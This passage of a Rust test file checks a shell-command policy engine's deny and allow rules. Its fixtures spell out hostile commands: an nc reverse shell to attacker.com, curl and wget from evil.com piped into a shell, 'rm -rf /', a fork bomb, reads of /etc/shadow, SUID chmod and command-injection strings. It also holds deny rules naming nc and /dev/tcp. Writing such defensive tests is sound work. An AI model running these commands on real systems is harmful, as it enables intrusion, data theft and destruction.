1410 let result = policy.check(&["cat".to_string(), attempt.to_string()]);
1411 assert!(
1413 result.is_some(),
1414 "Null byte injection {} should be detected",
1415 attempt
1416 );
1417 }
1418 }
1419
1420 #[test]
1425 fn test_privilege_escalation_sudo() {
1426 let mut policy = Policy::new();
1428 policy
1429 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1430 .unwrap();
1431 policy
1432 .add_prefix_rule(
1433 &["sudo".to_string()],
1434 Decision::Deny,
1435 Some("sudo is not allowed".to_string()),
1436 )
1437 .unwrap();
1438
1439 let result = policy.check(&["sudo".to_string(), "ls".to_string()]);
1440 assert!(result.is_some());
1441 assert_eq!(result.unwrap().decision, Decision::Deny);
1442 }
1443
1444 #[test]
1445 fn test_privilege_escalation_doas() {
1446 let mut policy = Policy::new();
1448 policy
1449 .add_prefix_rule(&["doas".to_string()], Decision::Deny, None)
1450 .unwrap();
1451
1452 let result = policy.check(&["doas".to_string(), "ls".to_string()]);
1453 assert!(result.is_some());
1454 assert_eq!(result.unwrap().decision, Decision::Deny);
1455 }
1456
1457 #[test]
1458 fn test_privilege_escalation_chmod_suid() {
1459 let mut policy = Policy::new();
1461 policy
1462 .add_prefix_rule(&["chmod".to_string()], Decision::Allow, None)
1463 .unwrap();
1464 policy
1465 .add_prefix_rule(
1466 &["chmod".to_string(), "u+s".to_string()],
1467 Decision::Deny,
1468 None,
1469 )
1470 .unwrap();
1471 policy
1472 .add_prefix_rule(
1473 &["chmod".to_string(), "g+s".to_string()],
1474 Decision::Deny,
1475 None,
1476 )
1477 .unwrap();
1478 policy
1479 .add_prefix_rule(
1480 &["chmod".to_string(), "4777".to_string()],
1481 Decision::Deny,
1482 None,
1483 )
1484 .unwrap();
1485
1486 let suid_attempts = vec![
1487 vec![
1488 "chmod".to_string(),
1489 "u+s".to_string(),
1490 "/bin/bash".to_string(),
1491 ],
1492 vec![
1493 "chmod".to_string(),
1494 "4777".to_string(),
1495 "/tmp/malicious".to_string(),
1496 ],
1497 vec![
1498 "chmod".to_string(),
1499 "6755".to_string(),
1500 "/usr/bin/su".to_string(),
1501 ],
1502 ];
1503
1504 for attempt in suid_attempts {
1505 let result = policy.check(&attempt);
1506 assert!(
1507 result.is_some(),
1508 "SUID chmod {:?} should be denied",
1509 attempt
1510 );
1511 assert_eq!(result.unwrap().decision, Decision::Deny);
1512 }
1513 }
1514
1515 #[test]
1516 fn test_privilege_escalation_chown() {
1517 let mut policy = Policy::new();
1519 policy
1520 .add_prefix_rule(
1521 &["chown".to_string()],
1522 Decision::Deny,
1523 Some("chown not allowed".to_string()),
1524 )
1525 .unwrap();
1526
1527 let result = policy.check(&[
1528 "chown".to_string(),
1529 "root:root".to_string(),
1530 "/tmp/test".to_string(),
1531 ]);
1532 assert!(result.is_some());
1533 assert_eq!(result.unwrap().decision, Decision::Deny);
1534 }
1535
1536 #[test]
1537 fn test_privilege_escalation_setuid() {
1538 let mut policy = Policy::new();
1540 policy
1541 .add_prefix_rule(&["/usr/bin/passwd".to_string()], Decision::Allow, None)
1542 .unwrap();
1543 policy
1544 .add_prefix_rule(&["/bin/su".to_string()], Decision::Deny, None)
1545 .unwrap();
1546 policy
1547 .add_prefix_rule(&["/usr/bin/sudo".to_string()], Decision::Deny, None)
1548 .unwrap();
1549
1550 let dangerous_binaries = vec![
1551 "/bin/su",
1552 "/usr/bin/sudo",
1553 "/usr/bin/newgrp",
1554 "/usr/bin/chfn",
1555 "/usr/bin/chsh",
1556 ];
1557
1558 for binary in dangerous_binaries {
1559 let result = policy.check(&[binary.to_string()]);
1560 assert!(result.is_some(), "Binary {} should be denied", binary);
1561 assert_eq!(result.unwrap().decision, Decision::Deny);
1562 }
1563 }
1564
1565 #[test]
1570 fn test_env_injection_ld_preload() {
1571 let mut policy = Policy::new();
1573 policy
1574 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1575 .unwrap();
1576
1577 let command_with_env = vec!["ls".to_string()];
1579 let dangerous_env = vec![
1580 "LD_PRELOAD=/tmp/malicious.so",
1581 "LD_LIBRARY_PATH=/tmp",
1582 "LD_DEBUG=all",
1583 ];
1584
1585 for _env in dangerous_env {
1586 let result = policy.check(&command_with_env);
1589 assert!(result.is_some());
1590 }
1591 }
1592
1593 #[test]
1594 fn test_env_injection_path_manipulation() {
1595 let mut policy = Policy::new();
1597 policy
1598 .add_prefix_rule(
1599 &["export".to_string(), "PATH".to_string()],
1600 Decision::Deny,
1601 Some("PATH manipulation not allowed".to_string()),
1602 )
1603 .unwrap();
1604
1605 let result = policy.check(&[
1606 "export".to_string(),
1607 "PATH=/tmp/malicious:$PATH".to_string(),
1608 ]);
1609 assert!(result.is_some());
1610 assert_eq!(result.unwrap().decision, Decision::Deny);
1611 }
1612
1613 #[test]
1614 fn test_env_injection_home_manipulation() {
1615 let mut policy = Policy::new();
1617 policy
1618 .add_prefix_rule(
1619 &["export".to_string(), "HOME".to_string()],
1620 Decision::Deny,
1621 None,
1622 )
1623 .unwrap();
1624
1625 let result = policy.check(&["export".to_string(), "HOME=/root".to_string()]);
1626 assert!(result.is_some());
1627 assert_eq!(result.unwrap().decision, Decision::Deny);
1628 }
1629
1630 #[test]
1635 fn test_command_injection_semicolon() {
1636 let mut policy = Policy::new();
1638 policy
1639 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1640 .unwrap();
1641 policy
1642 .add_prefix_rule(&["ls".to_string(), ";".to_string()], Decision::Deny, None)
1643 .unwrap();
1644 policy
1645 .add_prefix_rule(&["ls".to_string(), "&&".to_string()], Decision::Deny, None)
1646 .unwrap();
1647 policy
1648 .add_prefix_rule(&["ls".to_string(), "||".to_string()], Decision::Deny, None)
1649 .unwrap();
1650
1651 let injection_attempts = vec![
1652 vec![
1653 "ls".to_string(),
1654 ";".to_string(),
1655 "rm".to_string(),
1656 "-rf".to_string(),
1657 "/".to_string(),
1658 ],
1659 vec!["ls".to_string(), "&&".to_string(), "whoami".to_string()],
1660 vec![
1661 "ls".to_string(),
1662 "||".to_string(),
1663 "cat".to_string(),
1664 "/etc/passwd".to_string(),
1665 ],
1666 ];
1667
1668 for attempt in injection_attempts {
1669 let result = policy.check(&attempt);
1670 assert!(
1671 result.is_some(),
1672 "Command injection {:?} should be detected",
1673 attempt
1674 );
1675 }
1676 }
1677
1678 #[test]
1679 fn test_command_injection_pipe() {
1680 let mut policy = Policy::new();
1682 policy
1683 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1684 .unwrap();
1685 policy
1686 .add_prefix_rule(&["ls".to_string(), "|".to_string()], Decision::Deny, None)
1687 .unwrap();
1688
1689 let result = policy.check(&[
1690 "ls".to_string(),
1691 "|".to_string(),
1692 "cat".to_string(),
1693 "/etc/passwd".to_string(),
1694 ]);
1695 assert!(result.is_some());
1696 }
1697
1698 #[test]
1699 fn test_command_injection_backticks() {
1700 let mut policy = Policy::new();
1702 policy
1703 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1704 .unwrap();
1705 policy
1706 .add_prefix_rule(&["ls".to_string(), "`".to_string()], Decision::Deny, None)
1707 .unwrap();
1708 policy
1709 .add_prefix_rule(&["ls".to_string(), "$(".to_string()], Decision::Deny, None)
1710 .unwrap();
1711
1712 let injection_attempts = vec![
1713 vec!["ls".to_string(), "`whoami`".to_string()],
1714 vec!["ls".to_string(), "$(whoami)".to_string()],
1715 vec!["ls".to_string(), "$()".to_string()],
1716 ];
1717
1718 for attempt in injection_attempts {
1719 let result = policy.check(&attempt);
1720 assert!(
1721 result.is_some(),
1722 "Command injection {:?} should be detected",
1723 attempt
1724 );
1725 }
1726 }
1727
1728 #[test]
1733 fn test_filesystem_attempt_etc_shadow() {
1734 let mut policy = Policy::new();
1736 policy
1737 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
1738 .unwrap();
1739 policy
1740 .add_prefix_rule(
1741 &["cat".to_string(), "/etc/shadow".to_string()],
1742 Decision::Deny,
1743 Some("Access to shadow file is forbidden".to_string()),
1744 )
1745 .unwrap();
1746
1747 let attempts = vec![
1748 "/etc/shadow",
1749 "/etc/shadow~",
1750 "/etc/shadow.bak",
1751 "/etc/.shadow",
1752 "/etc/../etc/shadow",
1753 ];
1754
1755 for attempt in attempts {
1756 let result = policy.check(&["cat".to_string(), attempt.to_string()]);
1757 assert!(
1758 result.is_some(),
1759 "Attempt to access shadow file {} should be denied",
1760 attempt
1761 );
1762 }
1763 }
1764
1765 #[test]
1766 fn test_filesystem_attempt_dev_mem() {
1767 let mut policy = Policy::new();
1769 policy
1770 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
1771 .unwrap();
1772
1773 let dangerous_devices = vec![
1774 "/dev/mem",
1775 "/dev/kmem",
1776 "/dev/port",
1777 "/dev/mem0",
1778 "/proc/kcore",
1779 "/proc/self/mem",
1780 ];
1781
1782 for device in dangerous_devices {
1783 policy
1784 .add_prefix_rule(
1785 &["cat".to_string(), device.to_string()],
1786 Decision::Deny,
1787 None,
1788 )
1789 .unwrap();
1790 let result = policy.check(&["cat".to_string(), device.to_string()]);
1791 assert!(result.is_some());
1792 assert_eq!(result.unwrap().decision, Decision::Deny);
1793 }
1794 }
1795
1796 #[test]
1797 fn test_filesystem_race_condition() {
1798 let mut policy = Policy::new();
1800 policy
1801 .add_prefix_rule(
1802 &["ln".to_string()],
1803 Decision::Deny,
1804 Some("Symlink creation not allowed".to_string()),
1805 )
1806 .unwrap();
1807 policy
1808 .add_prefix_rule(&["ln".to_string(), "-s".to_string()], Decision::Deny, None)
1809 .unwrap();
1810
1811 let result = policy.check(&[
1812 "ln".to_string(),
1813 "-s".to_string(),
1814 "/tmp/malicious".to_string(),
1815 "/etc/passwd".to_string(),
1816 ]);
1817 assert!(result.is_some());
1818 assert_eq!(result.unwrap().decision, Decision::Deny);
1819 }
1820
1821 #[test]
1826 fn test_network_attempt_reverse_shell() {
1827 let mut policy = Policy::new();
1829 policy
1830 .add_prefix_rule(&["nc".to_string()], Decision::Deny, None)
1831 .unwrap();
1832 policy
1833 .add_prefix_rule(&["nc".to_string(), "-e".to_string()], Decision::Deny, None)
1834 .unwrap();
1835 policy
1836 .add_prefix_rule(&["nc".to_string(), "-c".to_string()], Decision::Deny, None)
1837 .unwrap();
1838 policy
1839 .add_prefix_rule(
1840 &["bash".to_string(), "-i".to_string()],
1841 Decision::Deny,
1842 None,
1843 )
1844 .unwrap();
1845 policy
1846 .add_prefix_rule(&["/dev/tcp".to_string()], Decision::Deny, None)
1847 .unwrap();
1848
1849 let reverse_shell_attempts = vec![
1850 vec![
1851 "nc".to_string(),
1852 "-e".to_string(),
1853 "/bin/bash".to_string(),
1854 "attacker.com".to_string(),
1855 "4444".to_string(),
1856 ],
1857 vec!["bash".to_string(), "-i".to_string()],
1858 vec![
1859 "python".to_string(),
1860 "-c".to_string(),
1861 "import socket;socket.socket()".to_string(),
1862 ],
1863 ];
1864
1865 for attempt in reverse_shell_attempts {
1866 let result = policy.check(&attempt);
1867 assert!(
1868 result.is_some(),
1869 "Reverse shell attempt {:?} should be denied",
1870 attempt
1871 );
1872 }
1873 }
1874
1875 #[test]
1876 fn test_network_attempt_port_scanning() {
1877 let mut policy = Policy::new();
1879 policy
1880 .add_prefix_rule(&["nmap".to_string()], Decision::Deny, None)
1881 .unwrap();
1882 policy
1883 .add_prefix_rule(&["nc".to_string(), "-z".to_string()], Decision::Deny, None)
1884 .unwrap();
1885
1886 let result = policy.check(&[
1887 "nmap".to_string(),
1888 "-p".to_string(),
1889 "1-65535".to_string(),
1890 "localhost".to_string(),
1891 ]);
1892 assert!(result.is_some());
1893 }
1894
1895 #[test]
1896 fn test_network_attempt_download_execute() {
1897 let mut policy = Policy::new();
1899 policy
1900 .add_prefix_rule(&["curl".to_string()], Decision::Allow, None)
1901 .unwrap();
1902 policy
1903 .add_prefix_rule(
1904 &["curl".to_string(), "|".to_string(), "bash".to_string()],
1905 Decision::Deny,
1906 None,
1907 )
1908 .unwrap();
1909 policy
1910 .add_prefix_rule(
1911 &["wget".to_string(), "-O-".to_string()],
1912 Decision::Deny,
1913 None,
1914 )
1915 .unwrap();
1916
1917 let download_exec = vec![
1918 vec![
1919 "curl".to_string(),
1920 "http://evil.com/script.sh".to_string(),
1921 "|".to_string(),
1922 "bash".to_string(),
1923 ],
1924 vec![
1925 "wget".to_string(),
1926 "-qO-".to_string(),
1927 "http://evil.com/script.sh".to_string(),
1928 "|".to_string(),
1929 "sh".to_string(),
1930 ],
1931 ];
1932
1933 for attempt in download_exec {
1934 let result = policy.check(&attempt);
1935 assert!(
1936 result.is_some(),
1937 "Download and execute {:?} should be detected",
1938 attempt
1939 );
1940 }
1941 }
1942
1943 #[test]
1948 fn test_process_manipulation_fork_bomb() {
1949 let mut policy = Policy::new();
1951 policy
1952 .add_prefix_rule(&["fork".to_string()], Decision::Deny, None)
1953 .unwrap();
1954 policy
1955 .add_prefix_rule(&[":(){:|:&};:".to_string()], Decision::Deny, None)
1956 .unwrap();
1957
1958 let result = policy.check(&[":(){:|:&};:".to_string()]);
1959 assert!(result.is_some());
1960 }
1961
1962 #[test]
1963 fn test_process_manipulation_ptrace() {
1964 let mut policy = Policy::new();
1966 policy
1967 .add_prefix_rule(&["strace".to_string()], Decision::Deny, None)
1968 .unwrap();
1969 policy
1970 .add_prefix_rule(&["ltrace".to_string()], Decision::Deny, None)
1971 .unwrap();
1972
1973 let result = policy.check(&["strace".to_string(), "-p".to_string(), "1234".to_string()]);
1974 assert!(result.is_some());
1975 }
1976
1977 #[test]
1978 fn test_process_manipulation_kill_all() {
1979 let mut policy = Policy::new();
1981 policy
1982 .add_prefix_rule(&["killall".to_string()], Decision::Deny, None)
1983 .unwrap();
1984 policy
1985 .add_prefix_rule(
1986 &["pkill".to_string(), "-9".to_string()],
1987 Decision::Deny,
1988 None,
1989 )
1990 .unwrap();
1991
1992 let result = policy.check(&["killall".to_string(), "-9".to_string()]);
1993 assert!(result.is_some());
1994 }
1995
1996 #[test]
2001 fn test_directory_traversal_parent_escape() {
2002 let mut policy = Policy::new();
2004 policy
2005 .add_prefix_rule(&["cd".to_string()], Decision::Allow, None)
2006 .unwrap();
2007 policy
2008 .add_prefix_rule(
2009 &["cd".to_string(), "..".to_string()],
2010 Decision::Deny,
2011 Some("Parent directory escape not allowed".to_string()),
2012 )
2013 .unwrap();
2014
2015 let escape_attempts = vec![
2016 vec!["cd".to_string(), "..".to_string()],
2017 vec!["cd".to_string(), "../..".to_string()],
2018 vec!["cd".to_string(), "../../..".to_string()],
2019 vec!["cd".to_string(), "..;".to_string()],
2020 vec!["cd".to_string(), "..%00".to_string()],
2021 ];
2022
2023 for attempt in escape_attempts {
2024 let result = policy.check(&attempt);
2025 assert!(
2026 result.is_some(),
2027 "Directory escape {:?} should be detected",
2028 attempt
2029 );
2030 }
2031 }
2032
2033 #[test]
2038 fn test_empty_command() {
2039 let policy = Policy::new();
2041 let result = policy.check(&[]);
2042 assert!(result.is_some(), "Empty command should be denied");
2043 }
2044
2045 #[test]
2046 fn test_extremely_long_arguments() {
2047 let mut policy = Policy::new();
2049 policy
2050 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
2051 .unwrap();
2052
2053 let long_arg = "A".repeat(100000);
2054 let result = policy.check(&["cat".to_string(), long_arg]);
2055 assert!(result.is_some());
2056 }
2057
2058 #[test]
2059 fn test_null_in_arguments() {
2060 let mut policy = Policy::new();
2062 policy
2063 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
2064 .unwrap();
2065
2066 let result = policy.check(&["cat".to_string(), "file\x00.txt".to_string()]);
2067 assert!(result.is_some());
2068 }
2069
2070 #[test]
2071 fn test_special_characters_in_arguments() {
2072 let mut policy = Policy::new();
2074 policy
2075 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
2076 .unwrap();
2077
2078 let special_args = vec![
2079 "file with spaces.txt",
2080 "file\twith\ttabs.txt",
2081 "file\nwith\nnewlines.txt",
2082 "file;rm -rf /.txt",
2083 "file|cat /etc/passwd.txt",
2084 "file`whoami`.txt",
2085 "file$(whoami).txt",
2086 ];
2087
2088 for arg in special_args {
2089 let result = policy.check(&["ls".to_string(), arg.to_string()]);
2090 assert!(
2091 result.is_some(),
2092 "Special character in arg should be handled: {}",
2093 arg
2094 );
2095 }
2096 }
2097
2098 #[test]
2103 fn test_combined_attack_path_and_command() {
2104 let mut policy = Policy::new();
2106 policy
2107 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
2108 .unwrap();
2109 policy
2110 .add_prefix_rule(
2111 &["cat".to_string(), "/etc/passwd".to_string()],
2112 Decision::Deny,
2113 None,
2114 )
2115 .unwrap();
2116
2117 let combined_attacks = vec![
2118 vec!["cat".to_string(), "../../../etc/passwd".to_string()],
2119 vec!["cat".to_string(), "/etc/../../etc/passwd".to_string()],
2120 ];
2121
2122 for attack in combined_attacks {
2123 let result = policy.check(&attack);
2124 assert!(
2125 result.is_some(),
2126 "Combined attack {:?} should be detected",
2127 attack
2128 );
2129 }
2130 }
2131
2132 #[test]
2133 fn test_combined_attack_env_and_command() {
2134 let mut policy = Policy::new();
2136 policy
2137 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
2138 .unwrap();
2139 policy
2140 .add_prefix_rule(&["env".to_string()], Decision::Deny, None)
2141 .unwrap();
2142
2143 let result = policy.check(&["ls".to_string(), "&".to_string(), "env".to_string()]);
2144 assert!(result.is_some());
2145 }
2146
2147 #[test]
2152 fn test_path_rule_creation() {
2153 let rule = PathRule::new(
2154 "/etc/passwd".to_string(),
2155 false,
2156 Decision::Deny,
2157 Some("Cannot access system files".to_string()),
2158 );
2159 assert_eq!(rule.path_pattern, "/etc/passwd");
2160 assert!(!rule.is_directory);
2161 assert_eq!(rule.decision, Decision::Deny);
2162 }
2163
2164 #[test]
2165 fn test_path_rule_matches_exact() {
2166 let rule = PathRule::new("/etc/passwd".to_string(), false, Decision::Deny, None);
2167 assert!(rule.matches_path("/etc/passwd"));
2168 assert!(!rule.matches_path("/etc/shadow"));
2169 assert!(!rule.matches_path("/etc"));
2170 }
2171
2172 #[test]
2173 fn test_path_rule_matches_wildcard() {
2174 let rule = PathRule::new("/etc/*".to_string(), true, Decision::Deny, None);
2175 assert!(rule.matches_path("/etc/passwd"));
2176 assert!(rule.matches_path("/etc/shadow"));
2177 assert!(rule.matches_path("/etc/some/nested/path"));
2178 assert!(!rule.matches_path("/var/etc"));
2179 }
2180
2181 #[test]
2182 fn test_path_rule_matches_star() {
2183 let rule = PathRule::new("*".to_string(), false, Decision::Allow, None);
2184 assert!(rule.matches_path("/any/path"));
2185 assert!(rule.matches_path("/another/path"));
2186 assert!(rule.matches_path("relative/path"));
2187 }
2188
2189 #[test]
2190 fn test_path_rule_matches_directory_prefix() {
2191 let rule = PathRule::new("/home".to_string(), true, Decision::Deny, None);
2192 assert!(rule.matches_path("/home"));
2193 assert!(rule.matches_path("/home/user"));
2194 assert!(rule.matches_path("/home/user/documents"));
2195 assert!(!rule.matches_path("/homeuser"));
2196 }
2197
2198 #[test]
2199 fn test_policy_add_path_rule() {
2200 let mut policy = Policy::new();
2201 policy.add_path_rule(PathRule::new(
2202 "/etc/passwd".to_string(),
2203 false,
2204 Decision::Deny,
2205 None,
2206 ));
2207 assert_eq!(policy.check_path("/etc/passwd"), Decision::Deny);
2208 }
2209
2210 #[test]
2211 fn test_policy_add_path_rule_simple() {
2212 let mut policy = Policy::new();
2213 policy.add_path_rule_simple(
2214 "/root".to_string(),
2215 true,
2216 Decision::Deny,
2217 Some("Root access denied".to_string()),
2218 );
2219 assert_eq!(policy.check_path("/root"), Decision::Deny);
2220 }
2221
2222 #[test]
2223 fn test_policy_check_path_no_match() {
2224 let mut policy = Policy::new();
2225 policy.add_path_rule_simple("/etc".to_string(), true, Decision::Deny, None);
2226 assert_eq!(policy.check_path("/tmp"), Decision::Allow);
2228 }
2229
2230 #[test]
2231 fn test_policy_check_path_whitelist_mode() {
2232 let mut policy = Policy::new_whitelist();
2233 policy.add_path_rule_simple("/tmp".to_string(), true, Decision::Allow, None);
2234 assert_eq!(policy.check_path("/etc"), Decision::Deny);
2236 assert_eq!(policy.check_path("/tmp"), Decision::Allow);
2237 }
2238
2239 #[test]
2240 fn test_policy_path_rules_multiple() {
2241 let mut policy = Policy::new();
2242 policy.add_path_rule_simple("/etc/passwd".to_string(), false, Decision::Deny, None);
2243 policy.add_path_rule_simple("/etc/shadow".to_string(), false, Decision::Deny, None);
2244 policy.add_path_rule_simple("/home".to_string(), true, Decision::Allow, None);
2245
2246 assert_eq!(policy.check_path("/etc/passwd"), Decision::Deny);
2247 assert_eq!(policy.check_path("/etc/shadow"), Decision::Deny);
2248 assert_eq!(policy.check_path("/home/user"), Decision::Allow);
2249 assert_eq!(policy.check_path("/var"), Decision::Allow);
2251 }
2252
2253 #[test]
2254 fn test_policy_debug_includes_path_rules() {
2255 let mut policy = Policy::new();
2256 policy.add_path_rule_simple("/etc".to_string(), true, Decision::Deny, None);
2257 let debug_str = format!("{:?}", policy);
2258 assert!(debug_str.contains("path_rules_count"));
2259 }
2260}